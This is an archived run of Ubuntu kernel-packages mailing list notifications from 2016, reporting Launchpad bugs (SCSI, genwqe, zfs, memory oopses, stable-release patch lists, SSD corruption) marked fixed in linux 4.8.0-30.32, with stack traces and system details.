  dmi.board.asset.tag: No Asset Tag
  dmi.board.name: Aspire V3-371
  dmi.board.vendor: Acer
  dmi.board.version: V1.28
  dmi.chassis.asset.tag: No Asset Tag
  dmi.chassis.type: 10
  dmi.chassis.vendor: Acer
  dmi.chassis.version: V1.28
  dmi.modalias: 
dmi:bvnInsydeCorp.:bvrV1.28:bd08/21/2015:svnAcer:pnAspireV3-371:pvrV1.28:rvnAcer:rnAspireV3-371:rvrV1.28:cvnAcer:ct10:cvrV1.28:
  dmi.product.name: Aspire V3-371
  dmi.product.version: V1.28
  dmi.sys.vendor: Acer

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1535802/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp

[Kernel-packages] [Bug 1621088] Re: Fix bugs under virtual scsi server driver for Power

[Launchpad Bug Tracker]

This bug was fixed in the package linux - 4.8.0-30.32

---
linux (4.8.0-30.32) yakkety; urgency=low

  * CVE-2016-8655 (LP: #1646318)
- packet: fix race condition in packet_set_ring

 -- Brad Figg   Thu, 01 Dec 2016 08:02:53 -0800

** Changed in: linux (Ubuntu)
   Status: In Progress => Fix Released

** CVE added: http://www.cve.mitre.org/cgi-
bin/cvename.cgi?name=2016-8655

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1621088

Title:
  Fix bugs under virtual scsi server driver for Power

Status in linux package in Ubuntu:
  Fix Released
Status in linux source package in Xenial:
  Fix Released
Status in linux source package in Yakkety:
  Fix Released

Bug description:
  == Comment: #0 - BRYANT G. LY  - 2016-09-06 12:16:14 ==
  All three of these have been accepted into the 4.9/scsi-queue and scsi tree 
under misc

  ibmvscsis: Properly deregister target sessions -
  
http://git.kernel.org/cgit/linux/kernel/git/jejb/scsi.git/commit/?id=712db3eb2c35e79986268bcd694ba8075445737d

  ibmvscsis: Code cleanup of print statements - 
  
http://git.kernel.org/cgit/linux/kernel/git/jejb/scsi.git/commit/?id=812902159d4174df9a82948c0445becb865dabec

  ibmvscsis: Fixed a bug reported by Dan Carpenter -
  
http://git.kernel.org/cgit/linux/kernel/git/jejb/scsi.git/commit/?id=f6dbe38edf1ef4929847c90e244204ef4c6b3ce7

  Still pending Review in target-devel mailing list:

  target/user: Return TCMU-generated sense data to fabric module - 
  Is still under review under scsi and target-devel mailing list.
  http://www.spinics.net/lists/target-devel/msg13449.html

  TCM-User fixes and cleanups -
  http://www.spinics.net/lists/target-devel/msg13444.html

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1621088/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp

[Kernel-packages] [Bug 1559194] Re: Bad page state in process genwqe_gunzip pfn:3c275 in the genwqe device driver

[Launchpad Bug Tracker]

This bug was fixed in the package linux - 4.8.0-30.32

---
linux (4.8.0-30.32) yakkety; urgency=low

  * CVE-2016-8655 (LP: #1646318)
- packet: fix race condition in packet_set_ring

 -- Brad Figg   Thu, 01 Dec 2016 08:02:53 -0800

** Changed in: linux (Ubuntu)
   Status: In Progress => Fix Released

** CVE added: http://www.cve.mitre.org/cgi-
bin/cvename.cgi?name=2016-8655

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1559194

Title:
  Bad page state in process genwqe_gunzip pfn:3c275 in the genwqe device
  driver

Status in Release Notes for Ubuntu:
  Fix Released
Status in Ubuntu on IBM z Systems:
  Fix Released
Status in linux package in Ubuntu:
  Fix Released
Status in linux source package in Xenial:
  Fix Released
Status in linux source package in Yakkety:
  Fix Released

Bug description:
  == Comment: #0 - Dmitry Gorbachev  - 2016-03-17 
08:52:41 ==
  An error occurs when running zEDC compression/decompression and hotplugging 
PCI devices.
  There was 1G of memory, 2 pci functions and 50 threads of gunzipping enabled.

  Mar 14 23:59:01 s8330018 kernel: [ 4972.486883] BUG: Bad page state in 
process genwqe_gunzip  pfn:3c275
  Mar 14 23:59:01 s8330018 kernel: [ 4972.486888] page:03d100f09d40 
count:-1 mapcount:0 mapping:  (null) index:0x0
  Mar 14 23:59:01 s8330018 kernel: [ 4972.486891] flags: 0x0()
  Mar 14 23:59:01 s8330018 kernel: [ 4972.486895] page dumped because: nonzero 
_count
  Mar 14 23:59:01 s8330018 kernel: [ 4972.486897] Modules linked in: 
xt_CHECKSUM(E) iptable_mangle(E) ipt_MASQUERADE(E) nf_nat_masquerade_ipv4(E) 
iptable_nat(E) nf_conntrack_ipv4(E) nf_defrag_ipv4(E) nf_nat_ipv4(E) nf_nat(E) 
nf_conntrack(E) xt_tcpudp(E) bridge(E) stp(E) llc(E) iptable_filter(E) 
ip_tables(E) x_tables(E) genwqe_card(E) crc_itu_t(E) qeth_l2(E) qeth(E) vmur(E) 
ccwgroup(E) dm_multipath(E) ib_iser(E) rdma_cm(E) iw_cm(E) ib_cm(E) ib_sa(E) 
ib_mad(E) ib_core(E) ib_addr(E) iscsi_tcp(E) libiscsi_tcp(E) libiscsi(E) 
scsi_transport_iscsi(E) btrfs(E) zlib_deflate(E) raid10(E) raid456(E) 
async_memcpy(E) async_raid6_recov(E) async_pq(E) async_xor(E) async_tx(E) 
xor(E) raid6_pq(E) libcrc32c(E) raid1(E) raid0(E) linear(E) ghash_s390(E) 
prng(E) aes_s390(E) des_s390(E) des_generic(E) sha512_s390(E) sha256_s390(E) 
sha1_s390(E) sha_common(E) zfcp(E) qdio(E) scsi_transport_fc(E) 
dasd_eckd_mod(E) dasd_mod(E)
  Mar 14 23:59:01 s8330018 kernel: [ 4972.486916] CPU: 0 PID: 37867 Comm: 
genwqe_gunzip Tainted: GW   E   4.4.0-8-generic #23-Ubuntu
  Mar 14 23:59:01 s8330018 kernel: [ 4972.486916]209176f8 
20917788 0002 
  Mar 14 23:59:01 s8330018 kernel: [ 4972.486916]20917828 
209177a0 209177a0 00114182
  Mar 14 23:59:01 s8330018 kernel: [ 4972.486916]0011 
0092345a 03d1000a 000a
  Mar 14 23:59:01 s8330018 kernel: [ 4972.486916]209177e8 
20917788  20914000
  Mar 14 23:59:01 s8330018 kernel: [ 4972.486916] 
00114182 20917788 209177e8
  Mar 14 23:59:01 s8330018 kernel: [ 4972.486922] Call Trace:
  Mar 14 23:59:01 s8330018 kernel: [ 4972.486927] ([<0011406e>] 
show_trace+0xf6/0x148)
  Mar 14 23:59:01 s8330018 kernel: [ 4972.486929]  [<00114136>] 
show_stack+0x76/0xe8
  Mar 14 23:59:01 s8330018 kernel: [ 4972.486934]  [<00518c26>] 
dump_stack+0x6e/0x90
  Mar 14 23:59:01 s8330018 kernel: [ 4972.486937]  [<0027c376>] 
bad_page+0xe6/0x148
  Mar 14 23:59:01 s8330018 kernel: [ 4972.486938]  [<00280516>] 
get_page_from_freelist+0x49e/0xba8
  Mar 14 23:59:01 s8330018 kernel: [ 4972.486940]  [<00280ede>] 
__alloc_pages_nodemask+0x166/0xb00
  Mar 14 23:59:01 s8330018 kernel: [ 4972.486941]  [<0015635a>] 
s390_dma_alloc+0x82/0x1a0
  Mar 14 23:59:01 s8330018 kernel: [ 4972.486944]  [<03ff805ea142>] 
__genwqe_alloc_consistent+0x7a/0x90 [genwqe_card]
  Mar 14 23:59:01 s8330018 kernel: [ 4972.486947]  [<03ff805ea344>] 
genwqe_alloc_sync_sgl+0x17c/0x2e0 [genwqe_card]
  Mar 14 23:59:01 s8330018 kernel: [ 4972.486950]  [<03ff805e52da>] 
do_execute_ddcb+0x1da/0x348 [genwqe_card]
  Mar 14 23:59:01 s8330018 kernel: [ 4972.486952]  [<03ff805e5964>] 
genwqe_ioctl+0x51c/0xc20 [genwqe_card]
  Mar 14 23:59:01 s8330018 kernel: [ 4972.486953]  [<003145ee>] 
do_vfs_ioctl+0x3b6/0x518
  Mar 14 23:59:01 s8330018 kernel: [ 4972.486955]  [<003147f4>] 
SyS_ioctl+0xa4/0xb8
  Mar 14 23:59:01 s8330018 kernel: [ 4972.486956]  [<007ad1be>] 
system_call+0xd6/0x264
  Mar 14 23:59:01 s8330018 kernel: [ 4972.486957]  [<03ffa9df2492>] 
0x3ffa9df2492

To manage notifications about this bug go to:

[Kernel-packages] [Bug 1628976] Re: Ubuntu 16.10: Oops panic in move_page_tables/page_remove_rmap after running memory_stress_ng.

[Launchpad Bug Tracker]

This bug was fixed in the package linux - 4.8.0-30.32

---
linux (4.8.0-30.32) yakkety; urgency=low

  * CVE-2016-8655 (LP: #1646318)
- packet: fix race condition in packet_set_ring

 -- Brad Figg   Thu, 01 Dec 2016 08:02:53 -0800

** Changed in: linux (Ubuntu)
   Status: Fix Committed => Fix Released

** CVE added: http://www.cve.mitre.org/cgi-
bin/cvename.cgi?name=2016-8655

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1628976

Title:
  Ubuntu 16.10: Oops panic in move_page_tables/page_remove_rmap after
  running memory_stress_ng.

Status in linux package in Ubuntu:
  Fix Released
Status in linux source package in Trusty:
  Fix Released
Status in linux source package in Xenial:
  Fix Released
Status in linux source package in Yakkety:
  Fix Released

Bug description:
  FYI Canonical:

  We have been seeing various page handling issues during memory stress
  in the 4.8 kernels.  The following is the most recent issue resulting
  in system panics on this host after the 4.8.0-17 update:

  == Comment: #17 - PAVITHRA R. PRAKASH - 2016-09-28 06:26:21 ==
  Hi,

  Tried running on 4.8.0-17-generic kernel. Getting below call trace and
  system crashes. Attaching logs.

  [ 2959.364333] Unable to handle kernel paging request for data at address 
0xf2fe4020
  [ 2959.364345] Faulting instruction address: 0xc02bb2a0
  [ 2959.364356] Oops: Kernel access of bad area, sig: 11 [#1]
  [ 2959.364364] SMP NR_CPUS=2048 NUMA pSeries
  [ 2959.364377] Modules linked in: rpadlpar_io rpaphp dccp_diag dccp tcp_diag 
udp_diag inet_diag unix_diag af_packet_diag netlink_diag bnx2x mdio libcrc32c 
pseries_rng vmx_crypto binfmt_misc ip_tables x_tables autofs4 ibmvscsi 
crc32c_vpmsum
  [ 2959.364441] CPU: 13 PID: 108 Comm: oom_reaper Not tainted 4.8.0-17-generic 
#19-Ubuntu
  [ 2959.364452] task: c004fbdf9c00 task.stack: c004fbe0
  [ 2959.364461] NIP: c02bb2a0 LR: c0300618 CTR: 
c009ca40
  [ 2959.364471] REGS: c004fbe036e0 TRAP: 0300   Not tainted  
(4.8.0-17-generic)
  [ 2959.364481] MSR: 80010280b033   
CR: 24028844  XER: 200c
  [ 2959.364526] CFAR: c0300614 DAR: f2fe4020 DSISR: 4000 
SOFTE: 1 
 GPR00: c0300618 c004fbe03960 c14e5e00 
f2fe4000 
 GPR04: 0001 0800  
c1665e00 
 GPR08: f900a196 0001 02fe4000 
 
 GPR12: 8800 c1b37500 0008 
c1ffe7ff 
 GPR16: c004f62a55f0 3fff9a00 3fff9900 
 
 GPR20: c004fbe03b80 c004e0713800 8e017c3302c0 
0001 
 GPR24: c000fb3614c8 c000fce9d990 c000fce9d6e4 
96a100f90b40 
 GPR28: f2fe4000 c000fb3614c8 0001 
f2fe4000 
  [ 2959.364673] NIP [c02bb2a0] page_remove_rmap+0x30/0x4b0
  [ 2959.364685] LR [c0300618] zap_huge_pmd+0xf8/0x480
  [ 2959.364692] Call Trace:
  [ 2959.364699] [c004fbe03960] [c004fbe039a0] 0xc004fbe039a0 
(unreliable)
  [ 2959.364714] [c004fbe039a0] [c0300618] zap_huge_pmd+0xf8/0x480
  [ 2959.364726] [c004fbe039f0] [c02a68d8] 
unmap_page_range+0xd08/0xee0
  [ 2959.364740] [c004fbe03b20] [c025c474] 
__oom_reap_task+0x204/0x2c0
  [ 2959.364752] [c004fbe03c80] [c025cda8] oom_reaper+0x1e8/0x300
  [ 2959.364765] [c004fbe03d80] [c00fd120] kthread+0x110/0x130
  [ 2959.364778] [c004fbe03e30] [c00098f0] 
ret_from_kernel_thread+0x5c/0x6c
  [ 2959.364788] Instruction dump:
  [ 2959.364796] 3c4c0123 3842ab90 7c0802a6 fba1ffe8 fbc1fff0 fbe1fff8 f8010010 
f821ffc1 
  [ 2959.364821] 7c7f1b78 7c9e2378 6000 6000  71480001 
392a 40820008 
  [ 2959.364871] ---[ end trace 178b14c6911b70dc ]---
  [ 2959.372762] 
  [ 2959.372798] Sending IPI to other CPUs
  [ 2959.373834] IPI complete

  Thanks,
  Pavithra

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1628976/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp

[Kernel-packages] [Bug 1636517] Re: zfs: importing zpool with vdev on zvol hangs kernel

[Launchpad Bug Tracker]

This bug was fixed in the package linux - 4.8.0-30.32

---
linux (4.8.0-30.32) yakkety; urgency=low

  * CVE-2016-8655 (LP: #1646318)
- packet: fix race condition in packet_set_ring

 -- Brad Figg   Thu, 01 Dec 2016 08:02:53 -0800

** Changed in: linux (Ubuntu Zesty)
   Status: Triaged => Fix Released

** CVE added: http://www.cve.mitre.org/cgi-
bin/cvename.cgi?name=2016-8655

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1636517

Title:
  zfs: importing zpool with vdev on zvol hangs kernel

Status in linux package in Ubuntu:
  Fix Released
Status in zfs-linux package in Ubuntu:
  Fix Released
Status in linux source package in Xenial:
  Fix Released
Status in zfs-linux source package in Xenial:
  Fix Released
Status in linux source package in Yakkety:
  Fix Released
Status in zfs-linux source package in Yakkety:
  Fix Released
Status in linux source package in Zesty:
  Fix Released
Status in zfs-linux source package in Zesty:
  Fix Released

Bug description:
  [SRU Request][Xenial][Yakkety]

  if a zvol of an existing, already imported zpool is a vdev of another
  zpool, a call to "zpool import" will everything zfs related. the stack
  trace is as follows:

  [] taskq_wait+0x74/0xe0 [spl]
  [] taskq_destroy+0x4b/0x100 [spl]
  [] vdev_open_children+0x12d/0x180 [zfs]
  [] vdev_root_open+0x3c/0xc0 [zfs]
  [] vdev_open+0xf5/0x4d0 [zfs]
  [] spa_load+0x39e/0x1c60 [zfs]
  [] spa_tryimport+0xad/0x450 [zfs]
  [] zfs_ioc_pool_tryimport+0x64/0xa0 [zfs]
  [] zfsdev_ioctl+0x44b/0x4e0 [zfs]
  [] do_vfs_ioctl+0x29f/0x490
  [] SyS_ioctl+0x79/0x90
  [] entry_SYSCALL_64_fastpath+0x16/0x71
  [] 0x

  [Fix]
  zfsutils-linux:

  Zesty: https://launchpadlibrarian.net/290907232/zfs-
  linux_0.6.5.8-0ubuntu4_0.6.5.8-0ubuntu5.diff.gz

  Yakkety, likewise
  Xenial, likewise

  Sync'd fixes into kernel repos, patches in:
  http://kernel.ubuntu.com/~cking/zfs-lp-1636517

  [Regression Potential]

  Minimal. This just touched one line in the zfs module
  module/zfs/zvol.cand a shim wrapper in include/linux/blkdev_compat.h

  Tested and passes with the ubuntu kernel team autotest client zfs
  regression tests.

  =

  I traced this back to 193fb6a2c94fab8eb8ce70a5da4d21c7d4023bee (erged
  in 4.4.0-6.21), which added a second parameter to lookup_bdev without
  patching the zfs module (which needs to special case the vdev-on-zvol
  case, and uses this exact method only in this special casing code
  path).

  attached you can find the output of "zfs send -R" ing such a zvol
  ("brokenvol.raw"), running "zfs receive POOL/TARGET < FILE" followed
  by "zpool import" should reproduce the hang.

  ProblemType: Bug
  DistroRelease: Ubuntu 16.04
  Package: linux-image-4.4.0-45-generic 4.4.0-45.66
  ProcVersionSignature: Ubuntu 4.4.0-45.66-generic 4.4.21
  Uname: Linux 4.4.0-45-generic x86_64
  NonfreeKernelModules: zfs zunicode zcommon znvpair zavl
  AlsaDevices:
   total 0
   crw-rw 1 root audio 116,  1 Oct 25 15:46 seq
   crw-rw 1 root audio 116, 33 Oct 25 15:46 timer
  AplayDevices: Error: [Errno 2] No such file or directory: 'aplay'
  ApportVersion: 2.20.1-0ubuntu2.1
  Architecture: amd64
  ArecordDevices: Error: [Errno 2] No such file or directory: 'arecord'
  AudioDevicesInUse: Error: command ['fuser', '-v', '/dev/snd/seq', 
'/dev/snd/timer'] failed with exit code 1:
  Date: Tue Oct 25 15:49:51 2016
  HibernationDevice: RESUME=/dev/mapper/xenial--vg-swap_1
  InstallationDate: Installed on 2016-10-25 (0 days ago)
  InstallationMedia: Ubuntu-Server 16.04.1 LTS "Xenial Xerus" - Release amd64 
(20160719)
  IwConfig: Error: [Errno 2] No such file or directory: 'iwconfig'
  Lsusb: Bus 001 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
  MachineType: QEMU Standard PC (i440FX + PIIX, 1996)
  PciMultimedia:

  ProcFB: 0 qxldrmfb
  ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-4.4.0-45-generic 
root=/dev/mapper/hostname--vg-root ro
  RelatedPackageVersions:
   linux-restricted-modules-4.4.0-45-generic N/A
   linux-backports-modules-4.4.0-45-generic  N/A
   linux-firmware1.157.4
  RfKill: Error: [Errno 2] No such file or directory: 'rfkill'
  SourcePackage: linux
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 04/01/2014
  dmi.bios.vendor: SeaBIOS
  dmi.bios.version: rel-1.9.3-0-ge2fc41e-prebuilt.qemu-project.org
  dmi.chassis.type: 1
  dmi.chassis.vendor: QEMU
  dmi.chassis.version: pc-i440fx-2.7
  dmi.modalias: 
dmi:bvnSeaBIOS:bvrrel-1.9.3-0-ge2fc41e-prebuilt.qemu-project.org:bd04/01/2014:svnQEMU:pnStandardPC(i440FX+PIIX,1996):pvrpc-i440fx-2.7:cvnQEMU:ct1:cvrpc-i440fx-2.7:
  dmi.product.name: Standard PC (i440FX + PIIX, 1996)
  dmi.product.version: pc-i440fx-2.7
  dmi.sys.vendor: QEMU

To manage notifications about this bug go to:

[Kernel-packages] [Bug 1626983] Re: [Ubuntu16.10]KV4.8: kernel livepatch config options are not set

[Launchpad Bug Tracker]

This bug was fixed in the package linux - 4.8.0-30.32

---
linux (4.8.0-30.32) yakkety; urgency=low

  * CVE-2016-8655 (LP: #1646318)
- packet: fix race condition in packet_set_ring

 -- Brad Figg   Thu, 01 Dec 2016 08:02:53 -0800

** Changed in: linux (Ubuntu)
   Status: Fix Committed => Fix Released

** CVE added: http://www.cve.mitre.org/cgi-
bin/cvename.cgi?name=2016-8655

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1626983

Title:
  [Ubuntu16.10]KV4.8: kernel livepatch config options are not set

Status in linux package in Ubuntu:
  Fix Released
Status in linux source package in Yakkety:
  Fix Released

Bug description:
  ---Problem Description---
  Kernel LivePatch config options are not set
   
  ---uname output---
  Linux HostName 4.8.0-11-generic #12-Ubuntu SMP Sat Sep 17 19:58:16 UTC 2016 
ppc64le ppc64le ppc64le GNU/Linux
   
  Machine Type = 8348-21C 
   
  ---Debugger---
  A debugger is not configured
   
  ---Steps to Reproduce---
   Check for the following config options in the config file of 4.8.0 kernel 
version.
  CONFIG_HAVE_LIVEPATCH=Y
  CONFIG_LIVEPATCH=Y

  # grep LIVEPATCH /boot/config-4.8.0-11-generic
  #
   
  Contact Information = nasas...@in.ibm.com 
   
  Stack trace output:
   no
   
  Oops output:
   no
   
  System Dump Info:
The system is not configured to capture a system dump.
   
  *Additional Instructions for nasas...@in.ibm.com: 
  -Attach sysctl -a output output to the bug.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1626983/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp

[Kernel-packages] [Bug 1636847] Re: unexpectedly large memory usage of mounted snaps

[Launchpad Bug Tracker]

This bug was fixed in the package linux - 4.8.0-30.32

---
linux (4.8.0-30.32) yakkety; urgency=low

  * CVE-2016-8655 (LP: #1646318)
- packet: fix race condition in packet_set_ring

 -- Brad Figg   Thu, 01 Dec 2016 08:02:53 -0800

** Changed in: linux (Ubuntu Zesty)
   Status: Fix Committed => Fix Released

** CVE added: http://www.cve.mitre.org/cgi-
bin/cvename.cgi?name=2016-8655

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1636847

Title:
  unexpectedly large memory usage of mounted snaps

Status in Snappy:
  In Progress
Status in linux package in Ubuntu:
  Fix Released
Status in linux source package in Xenial:
  Fix Released
Status in linux source package in Yakkety:
  Fix Released
Status in linux source package in Zesty:
  Fix Released

Bug description:
  This is a tracking bug for what might be kernel bugs or kernel
  configuration changes.

  As described [1], memory used by simply mounting a squashfs file (even
  an empty one) is ranging from almost nothing (on certain
  distributions) to 131MB on Ubuntu 16.04 and 16.10 on a single-core
  machine or VM.

  The amount is excessive and should be investigated by the kernel team.
  We may need to change the kernel or at least the configuration we ship
  in our packages and kernel snaps.

  [1] https://github.com/zyga/mounted-fs-memory-checker

To manage notifications about this bug go to:
https://bugs.launchpad.net/snappy/+bug/1636847/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp

[Kernel-packages] [Bug 1637512] Re: Yakkety update to v4.8.3 stable release

[Launchpad Bug Tracker]

This bug was fixed in the package linux - 4.8.0-30.32

---
linux (4.8.0-30.32) yakkety; urgency=low

  * CVE-2016-8655 (LP: #1646318)
- packet: fix race condition in packet_set_ring

 -- Brad Figg   Thu, 01 Dec 2016 08:02:53 -0800

** Changed in: linux (Ubuntu)
   Status: New => Fix Released

** CVE added: http://www.cve.mitre.org/cgi-
bin/cvename.cgi?name=2016-8655

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1637512

Title:
  Yakkety update to v4.8.3 stable release

Status in linux package in Ubuntu:
  Fix Released
Status in linux source package in Yakkety:
  Fix Released

Bug description:
  SRU Justification

  Impact:
     The upstream process for stable tree updates is quite similar
     in scope to the Ubuntu SRU process, e.g., each patch has to
     demonstrably fix a bug, and each patch is vetted by upstream
     by originating either directly from a mainline/stable Linux tree or
     a minimally backported form of that patch. The v4.8.3 upstream stable
     patch set is now available. It should be included in the Ubuntu
     kernel as well.

     git://git.kernel.org/

  TEST CASE: TBD

     The following patches from the v4.8.3 stable release shall be
  applied:

  v4l: rcar-fcp: Don't force users to check for disabled FCP support
  scsi: configure runtime pm before calling device_add in scsi_add_host_with_dma
  Make __xfs_xattr_put_listen preperly report errors.
  Linux 4.8.3

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1637512/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp

[Kernel-packages] [Bug 1637517] Re: Yakkety update to v4.8.4 stable release

[Launchpad Bug Tracker]

This bug was fixed in the package linux - 4.8.0-30.32

---
linux (4.8.0-30.32) yakkety; urgency=low

  * CVE-2016-8655 (LP: #1646318)
- packet: fix race condition in packet_set_ring

 -- Brad Figg   Thu, 01 Dec 2016 08:02:53 -0800

** Changed in: linux (Ubuntu)
   Status: New => Fix Released

** CVE added: http://www.cve.mitre.org/cgi-
bin/cvename.cgi?name=2016-8655

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1637517

Title:
  Yakkety update to v4.8.4 stable release

Status in linux package in Ubuntu:
  Fix Released
Status in linux source package in Yakkety:
  Fix Released

Bug description:
  SRU Justification

  Impact:
     The upstream process for stable tree updates is quite similar
     in scope to the Ubuntu SRU process, e.g., each patch has to
     demonstrably fix a bug, and each patch is vetted by upstream
     by originating either directly from a mainline/stable Linux tree or
     a minimally backported form of that patch. The v4.8.4 upstream stable
     patch set is now available. It should be included in the Ubuntu
     kernel as well.

     git://git.kernel.org/

  TEST CASE: TBD

     The following patches from the v4.8.4 stable release shall be
  applied:

  serial: imx: Fix DCD reading
  BUG: atmel_serial: Interrupts not disabled on close
  serial: 8250_dw: Check the data->pclk when get apb_pclk
  serial: 8250_port: fix runtime PM use in __do_stop_tx_rs485()
  ARCv2: intc: Use kflag if STATUS32.IE must be reset
  ARCv2: fix local_save_flags
  debugfs: introduce a public file_operations accessor
  b43: fix debugfs crash
  b43legacy: fix debugfs crash
  carl9170: fix debugfs crashes
  Btrfs: fix free space tree bitmaps on big-endian systems
  Btrfs: fix mount -o clear_cache,space_cache=v2
  Btrfs: catch invalid free space trees
  btrfs: assign error values to the correct bio structs
  mei: amthif: fix deadlock in initialization during a reset
  drivers: base: dma-mapping: page align the size when unmap_kernel_range
  IB/hfi1: Fix defered ack race with qp destroy
  clk: mvebu: fix setting unwanted flags in CP110 gate clock
  clk: mvebu: dynamically allocate resources in Armada CP110 system controller
  fuse: listxattr: verify xattr list
  fuse: invalidate dir dentry after chmod
  fuse: fix killing s[ug]id in setattr
  mm: filemap: fix mapping->nrpages double accounting in fuse
  i40e: avoid NULL pointer dereference and recursive errors on early PCI error
  xfs: change mailing list address
  mm: filemap: don't plant shadow entries without radix tree node
  brcmfmac: fix pmksa->bssid usage
  brcmfmac: fix memory leak in brcmf_fill_bss_param
  brcmfmac: use correct skb freeing helper when deleting flowring
  ASoC: nau8825: fix bug in FLL parameter
  ASoC: Intel: Atom: add a missing star in a memcpy call
  reiserfs: Unlock superblock before calling reiserfs_quota_on_mount()
  async_pq_val: fix DMA memory leak
  scsi: arcmsr: Simplify user_len checking
  ipc/sem.c: fix complex_count vs. simple op race
  mm/hugetlb: fix memory offline with hugepage size > memory block size
  vfs,mm: fix a dead loop in truncate_inode_pages_range()
  jbd2: fix lockdep annotation in add_transaction_credits()
  ext4: enforce online defrag restriction for encrypted files
  ext4: reinforce check of i_dtime when clearing high fields of uid and gid
  ext4: bugfix for mmaped pages in mpage_release_unused_pages()
  ext4: fix memory leak in ext4_insert_range()
  ext4: fix memory leak when symlink decryption fails
  ext4: allow DAX writeback for hole punch
  ext4: release bh in make_indexed_dir
  ext4: unmap metadata when zeroing blocks
  dlm: free workqueues after the connections
  vfs: move permission checking into notify_change() for utimes(NULL)
  cachefiles: Fix attempt to read i_blocks after deleting file [ver #2]
  drm: virtio: reinstate drm_virtio_set_busid()
  acpi, nfit: check for the correct event code in notifications
  cfq: fix starvation of asynchronous writes
  Linux 4.8.4

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1637517/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp

[Kernel-packages] [Bug 1638700] Re: hio: SSD data corruption under stress test

[Launchpad Bug Tracker]

This bug was fixed in the package linux - 4.8.0-30.32

---
linux (4.8.0-30.32) yakkety; urgency=low

  * CVE-2016-8655 (LP: #1646318)
- packet: fix race condition in packet_set_ring

 -- Brad Figg   Thu, 01 Dec 2016 08:02:53 -0800

** Changed in: linux (Ubuntu Zesty)
   Status: In Progress => Fix Released

** CVE added: http://www.cve.mitre.org/cgi-
bin/cvename.cgi?name=2016-8655

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1638700

Title:
  hio: SSD data corruption under stress test

Status in linux package in Ubuntu:
  Fix Released
Status in linux source package in Xenial:
  Fix Released
Status in linux source package in Yakkety:
  Fix Released
Status in linux source package in Zesty:
  Fix Released

Bug description:
  {forward from James Troup}:

  Just to followup to this with a little more information, we have now
  reproduced this in the following scenarios:

   * Ubuntu kernel 4.4 (i.e. 16.04) and kernel 4.8 (i.e. HWE-Y)
   * With and without Bcache involved
   * With both XFS and ext4
   * With HIO driver versions 2.1.0-23 and 2.1.0-25
   * With HIO Firmware 640 and 650
   * With and without the following two patches
- 
https://git.launchpad.net/~ubuntu-kernel/ubuntu/+source/linux/+git/xenial/commit/?id=7290fa97b945c288d8dd8eb8f284b98cb495b35b
- 
https://git.launchpad.net/~ubuntu-kernel/ubuntu/+source/linux/+git/xenial/commit/?id=901a3142db778ddb9ed6a9000ce8e5b0f66c48ba

  In all cases, we applied the following two patches in order to get hio
  to build at all with a 4.4 or later kernel:


https://git.launchpad.net/~ubuntu-kernel/ubuntu/+source/linux/+git/xenial/commit/?id=0abbb90372847caeeedeaa9db0f21e05ad8e9c74

https://git.launchpad.net/~ubuntu-kernel/ubuntu/+source/linux/+git/xenial/commit/?id=a0705c5ff3d12fc31f18f5d3c8589eaaed1aa577

  We've confirmed that we can reproduce the corruption on any machine in
  Tele2's Vienna facility.

  We've confirmed that, other than 1 machine, the 'hio_info' command
  says the health is 'OK'.

  Our most common reproducer is one of two scenarios:

   a) http://paste.ubuntu.com/23405150/

   b) http://paste.ubuntu.com/23405234/

  In the last example, it's possible to see corruption faster by
  increasing the 'count' argument to dd and avoid it by lowering it.
  e.g. on the machine I'm currently testing on count=52450 doesn't
  appear to show corruption, but a count of even 53000 would show it
  immediately every time.

  I hope this helps - please let us know what further information we can
  provide to debug this problem.

To manage notifications about this bug go to:
